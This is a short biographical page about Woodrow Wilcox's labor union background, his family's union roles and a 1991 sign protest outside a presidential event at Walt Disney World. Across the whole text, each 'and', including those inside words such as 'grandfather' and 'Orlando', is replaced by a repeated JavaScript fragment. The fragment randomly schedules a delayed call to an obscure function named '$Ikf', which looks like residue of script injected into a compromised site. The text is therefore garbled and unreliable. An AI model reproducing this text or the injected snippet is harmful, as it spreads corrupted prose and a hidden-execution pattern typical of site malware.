Labor

Both of Woodrow Wilcox’s grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfathers were labor union members. His paternal grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather was a carpenter with local 599 in Hammond, Indiana. His maternal grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather was an organizer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and first president of the union local that represented teachers in Griffith, Indiana.

Wilcox’s father worked his way through college as a union carpenter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and earned an engineering degree from Purdue University.

In the 1980’s Woodrow Wilcox became a “point man” on a union organizing drive at a firm in Las Vegas.

In 1991, Woodrow Wilcox became the first person ever to stage a political demonstration at Walt Disney World without being arrested. He wrote to the Walt Disney Company before the date of the demonstration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and informed the company that he had studied maps of the public right of ways throughout Walt Disney World andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that he would stay on the public right of way during his political demonstration. He told the Walt Disney World officials that if they tried to interfere with his demonstration or arrest him, he would seek help from the American Civil Liberties Union andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/or others to sue the Walt Disney Company.

In 1991, President George H. W. Bush attended a “Points of Light” event at Walt Disney World. Wilcox stood on the public right of way outside the event with a sign that read, “President Bush: How can you see a thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and points of light but be blind to a million points of misery? Extend unemployment benefits now!”

Wilcox was interviewed by a reporter from National Public Radio (NPR) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some other reporters. The Orlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ando Sentinel published a story about President Bush attending the event andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mentioned Woodrow Wilcox’s protest outside.

From 2003 to 2010, Woodrow Wilcox was a regular columnist in LABOR NEWS while it was published from Indianapolis.

One of Woodrow Wilcox’s cousin’s was vice president of the Teamsters in Indianapolis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and another cousin was vice president of the Congress of Industrial Organizations (C.I.O.) when it merged with the American Federation of Labor (A.F.L.) to form the A.F.L.-C.I.O.

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